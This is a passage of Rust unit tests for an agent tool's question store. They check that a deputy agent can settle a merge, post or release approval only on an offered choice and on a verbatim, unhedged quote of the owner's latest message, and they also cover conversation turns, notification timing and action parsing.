2867 "node": "implement",
2868 "seat": "impl-A",
2869 "summary": "Which storage backend should the cache use?",
2870 "detail": "Both are already dependencies.",
2871 "choices": ["SQLite", "Redis"],
2872 "status": "open",
2873 "asked_at": "2026-09-02T23:15:01Z",
2874 "answered_at": null,
2875 "answer": null
2876}"#;
2877 std::fs::write(s.path_of(id), body).unwrap();
2878
2879 let q = s.get(id).unwrap();
2880 assert!(
2881 !q.panel,
2882 "an absent field means no panel, not a parse error"
2883 );
2884 assert!(q.assets.is_empty());
2885 assert_eq!(q.schema, 1);
2890 assert!(q.thread.is_empty());
2891 assert_eq!(
2892 q.answer_timeout, 0,
2893 "an absent field means unrecorded, not a zero-second deadline"
2894 );
2895 assert!(!q.waiting_on_agent());
2896 assert_eq!(q.summary, "Which storage backend should the cache use?");
2897 assert_eq!(
2898 s.list().len(),
2899 1,
2900 "and it is still listed; skipping it would hide an open question"
2901 );
2902 }
2903
2904 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2905 Turn {
2906 who,
2907 body: body.to_owned(),
2908 at,
2909 note: None,
2910 }
2911 }
2912
2913 #[test]
2914 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2915 let mut q = choice_question();
2918 q.thread
2919 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2920 let value = serde_json::to_value(&q.thread[0]).unwrap();
2921 let mut keys: Vec<&str> = value
2922 .as_object()
2923 .unwrap()
2924 .keys()
2925 .map(String::as_str)
2926 .collect();
2927 keys.sort_unstable();
2928 assert_eq!(keys, ["at", "body", "who"]);
2929 assert_eq!(value["who"], "operator");
2930 assert_eq!(value["body"], "why not Postgres?");
2931
2932 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2933 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2934 assert_eq!(parsed.who, Who::Agent);
2935 }
2936
2937 fn approval_question() -> Question {
2938 let mut q = Question::new(
2939 "run".into(),
2940 crate::land::APPROVAL_NODE.into(),
2941 "land".into(),
2942 "Merge?".into(),
2943 String::new(),
2944 vec!["merge".into(), "hold".into()],
2945 );
2946 let mut dep = Deputy::new("brief".into());
2947 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2948 q.deputy = Some(dep);
2949 q
2950 }
2951
2952 #[test]
2953 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
2954 let mut q = approval_question();
2955 q.choices.push(crate::land::REPAIR.into());
2956 q.say("maybe fix findings and re-review").unwrap();
2957 assert!(
2958 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2959 .is_err()
2960 );
2961 q.say(crate::land::REPAIR).unwrap();
2962 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2963 .unwrap();
2964 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
2965 assert_eq!(
2966 crate::land::approval(q.resolution().as_deref()),
2967 crate::land::Approval::Repair
2968 );
2969 }
2970
2971 #[test]
2972 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2973 let mut q = approval_question();
2974 q.say("merge").unwrap();
2975 q.reply("sure?", vec!["merge".into(), "hold".into()])
2976 .unwrap();
2977 q.say(" Merge it please ").unwrap();
2978 assert!(
2979 q.settle_by_deputy("deputy-x", "merge", " ", None)
2980 .is_err(),
2981 "an empty quote is refused"
2982 );
2983 assert!(
2984 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2985 .is_err(),
2986 "a quote the owner never said is refused"
2987 );
2988 assert_eq!(q.status, QuestionStatus::Open);
2989 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2990 .unwrap();
2991 assert_eq!(q.resolution().as_deref(), Some("merge"));
2992 }
2993
2994 #[test]
2995 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2996 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2997 let mk = || {
2998 let mut q = Question::new(
2999 "run".into(),
3000 crate::github_text::ASK_NODE.into(),
3001 crate::github_text::ASK_SEAT.into(),
3002 "s".into(),
3003 String::new(),
3004 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3005 );
3006 let mut dep = Deputy::new("brief".into());
3007 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3008 q.deputy = Some(dep);
3009 q
3010 };
3011 let mut hedged = mk();
3012 hedged.say("Post the original, maybe?").unwrap();
3013 assert!(
3014 hedged
3015 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3016 .is_err()
3017 );
3018 let mut clear = mk();
3019 clear.say("Post the original text as it is.").unwrap();
3020 clear
3021 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3022 .unwrap();
3023 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3024 let mut japanese = mk();
3025 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3026 japanese.say(words).unwrap();
3027 japanese
3028 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3029 .unwrap();
3030 let mut unrelated = mk();
3031 unrelated.say("Proceed with the task").unwrap();
3032 assert!(
3033 unrelated
3034 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3035 .is_err()
3036 );
3037 for words in [
3038 "OK, post the original",
3039 "Yes, post original",
3040 "I'd like to post the original",
3041 ] {
3042 let mut natural = mk();
3043 natural.say(words).unwrap();
3044 natural
3045 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3046 .unwrap();
3047 }
3048 for (message, quote) in [
3049 (
3050 "ログには「元の説明で投稿しました」と記録されています。",
3051 "ログには「元の説明で投稿しました」と記録されています。",
3052 ),
3053 (
3054 "ログには「元の説明で投稿してください」と記録されています。",
3055 "元の説明で投稿してください",
3056 ),
3057 ] {
3058 let mut descriptive = mk();
3059 descriptive.say(message).unwrap();
3060 assert!(
3061 descriptive
3062 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3063 .is_err()
3064 );
3065 assert!(descriptive.status.open());
3066 assert!(descriptive.answer.is_none());
3067 }
3068 let mut descriptive = mk();
3069 let message = "Post original was the option I saw.";
3070 descriptive.say(message).unwrap();
3071 for quote in [message, "Post original"] {
3072 assert!(
3073 descriptive
3074 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3075 .is_err()
3076 );
3077 assert!(descriptive.status.open());
3078 assert!(descriptive.answer.is_none());
3079 }
3080 let mut safe = mk();
3082 safe.say("use the fallback").unwrap();
3083 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3084 .unwrap();
3085 }
3086
3087 #[test]
3088 fn posting_deputy_rejects_multiline_quoted_context() {
3089 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3090 for (command, choice) in [
3091 ("Post original", POST_ORIGINAL),
3092 ("Use rewrite", USE_REWRITE),
3093 ] {
3094 for message in [
3095 format!("The log contains:\n```\n{command}\n```"),
3096 format!("The log contains:\n\"\n{command}\n\""),
3097 format!("The log says: “Reported. {command}.”"),
3098 format!("The log says: “\n{command}\n”"),
3099 ]
3100 .into_iter()
3101 .chain(crate::github_text::reported_posting_messages(command))
3102 {
3103 let mut q = Question::new(
3104 "run".into(),
3105 ASK_NODE.into(),
3106 ASK_SEAT.into(),
3107 "s".into(),
3108 String::new(),
3109 vec![USE_FALLBACK.into(), choice.into()],
3110 );
3111 let mut dep = Deputy::new("brief".into());
3112 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3113 q.deputy = Some(dep);
3114 q.say(&message).unwrap();
3115 let tmp = tempfile::tempdir().unwrap();
3116 let questions = Questions::at(tmp.path().join("questions"));
3117 questions.put(&mut q).unwrap();
3118 for quote in [command, message.as_str()] {
3119 assert!(
3120 questions
3121 .update(&q.id, |stored| {
3122 stored.settle_by_deputy("deputy-x", choice, quote, None)
3123 })
3124 .is_err()
3125 );
3126 let after = questions.get(&q.id).unwrap();
3127 assert!(after.status.open());
3128 assert!(after.answer.is_none());
3129 }
3130 }
3131 }
3132 }
3133
3134 #[test]
3135 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3136 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3137 let mk = || {
3138 let mut q = Question::new(
3139 "run".into(),
3140 crate::github_text::ASK_NODE.into(),
3141 crate::github_text::ASK_SEAT.into(),
3142 "s".into(),
3143 String::new(),
3144 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3145 );
3146 let mut dep = Deputy::new("brief".into());
3147 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3148 q.deputy = Some(dep);
3149 q
3150 };
3151 let mut hedged = mk();
3152 hedged.say("Use the rewrite, maybe?").unwrap();
3153 assert!(
3154 hedged
3155 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3156 .is_err()
3157 );
3158 let mut descriptive = mk();
3159 let message = "Use rewrite was the option I saw.";
3160 descriptive.say(message).unwrap();
3161 for quote in [message, "Use rewrite"] {
3162 assert!(
3163 descriptive
3164 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3165 .is_err()
3166 );
3167 assert!(descriptive.status.open());
3168 assert!(descriptive.answer.is_none());
3169 }
3170 for words in [
3171 "Use the rewrite text as it is.",
3172 "I'd like to use the rewrite",
3173 "修正版で投稿してください。",
3174 ] {
3175 let mut clear = mk();
3176 clear.say(words).unwrap();
3177 clear
3178 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3179 .unwrap();
3180 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3181 }
3182 let mut safe = mk();
3184 safe.say("use the fallback").unwrap();
3185 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3186 .unwrap();
3187 }
3188
3189 #[test]
3190 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3191 let mk = |choices: Vec<String>| {
3192 let mut q = Question::new(
3193 String::new(),
3194 crate::bump::NOTICE_NODE.into(),
3195 "release-watch".into(),
3196 "Release?".into(),
3197 String::new(),
3198 choices,
3199 );
3200 let mut dep = Deputy::new("brief".into());
3201 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3202 q.deputy = Some(dep);
3203 q
3204 };
3205 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3206 assert!(crate::deputy::merge_gated(&approval));
3207 approval.say("マージしていいよ").unwrap();
3208 assert!(
3209 approval
3210 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3211 .is_err(),
3212 "a quote the owner never said is refused"
3213 );
3214 approval
3215 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3216 .unwrap();
3217
3218 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3219 assert!(!crate::deputy::merge_gated(&esc));
3220 esc.say("もう監視はいらない").unwrap();
3221 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3222 .unwrap();
3223 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3224 }
3225
3226 #[test]
3227 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3228 let mut q = approval_question();
3229 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3230 .unwrap();
3231 assert!(
3232 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3233 .is_err(),
3234 "the quote must be the owner's"
3235 );
3236 assert!(
3237 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3238 .is_err(),
3239 "`hold` still needs the whole message"
3240 );
3241 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3242 .unwrap();
3243 assert_eq!(q.resolution().as_deref(), Some("merge"));
3244 }
3245
3246 fn settle_ready() -> Question {
3247 let mut q = Question::new(
3248 "task".to_owned(),
3249 "conduct".to_owned(),
3250 "conduct".to_owned(),
3251 "Done?".to_owned(),
3252 String::new(),
3253 vec!["yes".to_owned(), "no".to_owned()],
3254 );
3255 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3256 seat.turns = 1;
3257 let mut dep = Deputy::new("brief".to_owned());
3258 dep.seat = Some(seat);
3259 q.deputy = Some(dep);
3260 q.say("setup done, and file a follow-up").unwrap();
3261 q
3262 }
3263
3264 #[test]
3265 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3266 let dir = tempfile::TempDir::new().unwrap();
3267 let store = Questions::at(dir.path().join("questions"));
3268 let mut q = settle_ready();
3269 let id = q.id.clone();
3270 store.put(&mut q).unwrap();
3271 store
3272 .update(&id, |q| {
3273 q.settle_by_deputy(
3274 "deputy-x",
3275 "yes",
3276 "setup done",
3277 Some(" no follow-up was queued "),
3278 )
3279 })
3280 .unwrap();
3281 let back = store.get(&id).unwrap();
3282 let turn = back.thread.last().unwrap();
3283 assert_eq!(turn.who, Who::Agent);
3284 assert!(turn.body.starts_with("Settled as `yes`"));
3285 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3286 assert_eq!(back.thread[0].note, None);
3287 }
3288
3289 #[test]
3290 fn an_empty_or_blank_settle_note_is_no_note() {
3291 for note in [None, Some(""), Some(" \n ")] {
3292 let mut q = settle_ready();
3293 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3294 .unwrap();
3295 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3296 let json = serde_json::to_string(&q).unwrap();
3297 assert!(!json.contains("\"note\""), "no key when there is none");
3298 }
3299 }
3300
3301 #[test]
3302 fn a_refused_settle_leaves_no_note_behind() {
3303 let mut q = settle_ready();
3304 let before = q.thread.clone();
3305 assert!(
3306 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3307 .is_err()
3308 );
3309 assert!(
3310 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3311 .is_err()
3312 );
3313 assert_eq!(q.thread, before);
3314 assert_eq!(q.status, QuestionStatus::Open);
3315 }
3316
3317 #[test]
3318 fn a_turn_written_before_notes_existed_still_reads() {
3319 let t: Turn =
3320 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3321 .unwrap();
3322 assert_eq!(t.note, None);
3323 }
3324
3325 #[test]
3326 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3327 let mut q = approval_question();
3328 q.say("merge").unwrap();
3329 q.reply("sure?", vec!["merge".into(), "hold".into()])
3330 .unwrap();
3331 q.say("wait, hold off").unwrap();
3332 assert!(
3333 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3334 .is_err()
3335 );
3336 assert_eq!(q.status, QuestionStatus::Open);
3337 }
3338
3339 #[test]
3340 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3341 let mut q = Question::new(
3342 "task".to_owned(),
3343 "conduct".to_owned(),
3344 "conduct".to_owned(),
3345 "Done?".to_owned(),
3346 String::new(),
3347 vec!["yes".to_owned(), "no".to_owned()],
3348 );
3349 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3350 seat.turns = 1;
3351 let mut dep = Deputy::new("brief".to_owned());
3352 dep.seat = Some(seat);
3353 q.deputy = Some(dep);
3354 q.say("setup done, go ahead").unwrap();
3355
3356 assert!(
3357 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3358 .is_err()
3359 );
3360 assert!(
3361 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3362 .is_err()
3363 );
3364 assert!(
3365 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3366 .is_err()
3367 );
3368 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3369 assert_eq!(q.status, QuestionStatus::Open);
3370
3371 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3372 .unwrap();
3373 assert_eq!(q.status, QuestionStatus::Answered);
3374 assert_eq!(q.resolution().as_deref(), Some("yes"));
3375 let last = q.thread.last().unwrap();
3376 assert_eq!(last.who, Who::Agent);
3377 assert!(
3378 last.body.contains("setup done"),
3379 "the quote stays on the record"
3380 );
3381 }
3382
3383 #[test]
3384 fn a_question_written_before_deputies_still_reads() {
3385 let mut q = Question::new(
3386 "task".to_owned(),
3387 "conduct".to_owned(),
3388 "conduct".to_owned(),
3389 "Done?".to_owned(),
3390 String::new(),
3391 Vec::new(),
3392 );
3393 q.schema = 4;
3394 let mut v = serde_json::to_value(&q).unwrap();
3395 v.as_object_mut().unwrap().remove("deputy");
3396 let back: Question = serde_json::from_value(v).unwrap();
3397 assert!(back.deputy.is_none());
3398 }
3399
3400 #[test]
3401 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3402 let mut q = choice_question();
3403 q.say("does the cache need eviction?").unwrap();
3404 assert_eq!(q.thread.len(), 1);
3405 assert_eq!(q.thread[0].who, Who::Operator);
3406 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3407 assert_eq!(q.status, QuestionStatus::Open);
3410 assert!(q.answer.is_none());
3411 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3412 }
3413
3414 #[test]
3415 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3416 let mut answered = choice_question();
3417 answered
3418 .answer(Answer::Choice("SQLite".to_owned()))
3419 .unwrap();
3420 let a = answered.say("still there?").unwrap_err().to_string();
3421 assert!(a.contains("already answered"), "{a}");
3422 let b = answered
3423 .reply("still there?", vec![])
3424 .unwrap_err()
3425 .to_string();
3426 assert!(b.contains("already answered"), "{b}");
3427
3428 let mut abandoned = choice_question();
3429 abandoned.abandon("timed out");
3430 let c = abandoned.say("hello?").unwrap_err().to_string();
3431 assert!(c.contains("abandoned"), "{c}");
3432
3433 let mut open = choice_question();
3434 let d = open.say(" ").unwrap_err().to_string();
3435 assert!(d.contains("empty"), "{d}");
3436 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3437 assert!(e.contains("empty"), "{e}");
3438 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3439 }
3440
3441 #[test]
3442 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3443 let mut q = choice_question();
3444 q.say("SQLite or Redis, but what about disk space?")
3445 .unwrap();
3446 assert!(q.waiting_on_agent());
3447
3448 q.reply(
3449 "SQLite: it is one file, no server to run.",
3450 vec!["SQLite".to_owned()],
3451 )
3452 .unwrap();
3453
3454 assert_eq!(q.choices, ["SQLite"]);
3455 assert!(
3456 !q.waiting_on_agent(),
3457 "the agent spoke, so the owner is the one being waited on now"
3458 );
3459 assert_eq!(q.thread.len(), 2);
3460 assert_eq!(q.thread[1].who, Who::Agent);
3461
3462 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3464 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3465 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3466 }
3467
3468 #[test]
3469 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3470 let mut fresh = choice_question();
3471 assert!(
3472 fresh.should_notify(Timestamp::now()),
3473 "nobody has been notified yet, so the first ask always pages"
3474 );
3475
3476 fresh.say("why not Postgres?").unwrap();
3477 let just_said = fresh.thread[0].at;
3478 assert!(
3479 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3480 "still on the screen a minute later; no need to page again"
3481 );
3482 assert!(
3483 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3484 "exactly the window: `>` means this side stays quiet"
3485 );
3486 assert!(
3487 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3488 "past the window: they may have walked away"
3489 );
3490 }
3491
3492 #[test]
3493 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3494 let (_dir, s) = store();
3495 let mut q = choice_question();
3496 s.put(&mut q).unwrap();
3497 q.say("why not Postgres?").unwrap();
3498 s.put(&mut q).unwrap();
3499 q.reply("no server to run", vec!["SQLite".to_owned()])
3500 .unwrap();
3501 s.put(&mut q).unwrap();
3502
3503 assert_eq!(
3504 s.count_open(),
3505 1,
3506 "one question that talked twice is still one open question"
3507 );
3508 assert_eq!(s.open_for(&q.run).len(), 1);
3509 }
3510
3511 #[tokio::test]
3512 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3513 let (dir, s) = store();
3514 let mut q = choice_question();
3515 let id = q.id.clone();
3516 let writer = Questions::at(dir.path().join("questions"));
3517 let handle = tokio::spawn(async move {
3518 tokio::time::sleep(Duration::from_millis(30)).await;
3519 let mut fresh = writer.get(&id).expect("the question was filed first");
3520 fresh.say("why not Postgres?").unwrap();
3521 writer.put(&mut fresh).unwrap();
3522 });
3523
3524 let got = wait_for_owner(
3525 &mut q,
3526 &s,
3527 &quiet(),
3528 Duration::from_secs(5),
3529 Duration::from_millis(10),
3530 )
3531 .await
3532 .unwrap();
3533
3534 handle.await.unwrap();
3535 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3536 assert_eq!(
3537 q.status,
3538 QuestionStatus::Open,
3539 "talking back is not a decision; the question stays open"
3540 );
3541 assert!(q.answer.is_none());
3542 }
3543
3544 #[test]
3545 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3546 let mut q = choice_question();
3547 q.say("A").unwrap();
3548 q.delivered_turns = q.thread.len();
3549 q.say("B").unwrap();
3550 q.reply("about A", vec![]).unwrap();
3551 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3552 q.delivered_turns = q.thread.len();
3553 assert_eq!(q.unread_from_owner(), None);
3554 }
3555
3556 #[test]
3557 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3558 let (_d, s) = store();
3559 let mut q = choice_question();
3560 s.put(&mut q).unwrap();
3561 q.say("first").unwrap();
3562 q.say("second").unwrap();
3563 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3564 s.put(&mut q).unwrap();
3565 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3566 let mut out = Vec::new();
3567 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3568 let shown = String::from_utf8(out).unwrap();
3569 let (a, b, c) = (
3570 shown.find("first").unwrap(),
3571 shown.find("second").unwrap(),
3572 shown.find("SQLite").unwrap(),
3573 );
3574 assert!(a < b && b < c, "{shown}");
3575 assert_eq!(q.delivered_turns, q.thread.len());
3576 assert!(q.answer_delivered);
3577 }
3578
3579 #[test]
3580 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3581 let mut q = choice_question();
3582 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3583 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3584 let mut q = choice_question();
3585 q.say("old").unwrap();
3586 q.delivered_turns = q.thread.len();
3587 q.say("new").unwrap();
3588 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3589 let shown = answer_for_agent(&q, "SQLite");
3590 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3591 }
3592
3593 #[test]
3594 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3595 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3596 let ok = parse_actions(
3597 &[
3598 "resume で続行する=resume".to_owned(),
3599 "wait=done".to_owned(),
3600 ],
3601 &choices,
3602 "run-1",
3603 )
3604 .unwrap();
3605 assert_eq!(
3606 ok["resume で続行する"],
3607 ChoiceAction::Resume {
3608 run: "run-1".into()
3609 }
3610 );
3611 assert_eq!(ok["wait"], ChoiceAction::Done);
3612
3613 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3614 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3615 assert_eq!(
3616 ChoiceAction::parse("x=requeue", "").unwrap().1,
3617 ChoiceAction::Requeue
3618 );
3619
3620 for bad in [
3621 "no-equals",
3622 "=done",
3623 "x=resume",
3624 "x=resume:",
3625 "x=explode",
3626 "x=done:1",
3627 ] {
3628 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3629 }
3630 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3631 assert!(
3632 parse_actions(
3633 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3634 &choices,
3635 ""
3636 )
3637 .is_err()
3638 );
3639 }
3640
3641 #[test]
3642 fn only_a_chosen_label_with_an_action_is_actionable() {
3643 let mut q = choice_question();
3644 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3645 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3646 assert!(q.chosen_action().is_none(), "unanswered");
3647 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3648 assert!(
3649 q.chosen_action().is_none(),
3650 "a label that merely reads like an action does nothing"
3651 );
3652
3653 let mut q2 = choice_question();
3654 q2.choices = vec!["SQLite".to_owned()];
3655 q2.actions
3656 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3657 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3658 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3659 }
3660
3661 #[test]
3662 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3663 let mut q = choice_question();
3664 q.choices = vec!["A".to_owned(), "B".to_owned()];
3665 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3666 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3667 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3668 assert_eq!(q.actions.len(), 1);
3669 assert!(q.actions.contains_key("B"));
3670
3671 let mut v = serde_json::to_value(&q).unwrap();
3672 v.as_object_mut().unwrap().remove("actions");
3673 let old: Question = serde_json::from_value(v).unwrap();
3674 assert!(old.actions.is_empty());
3675 }
3676}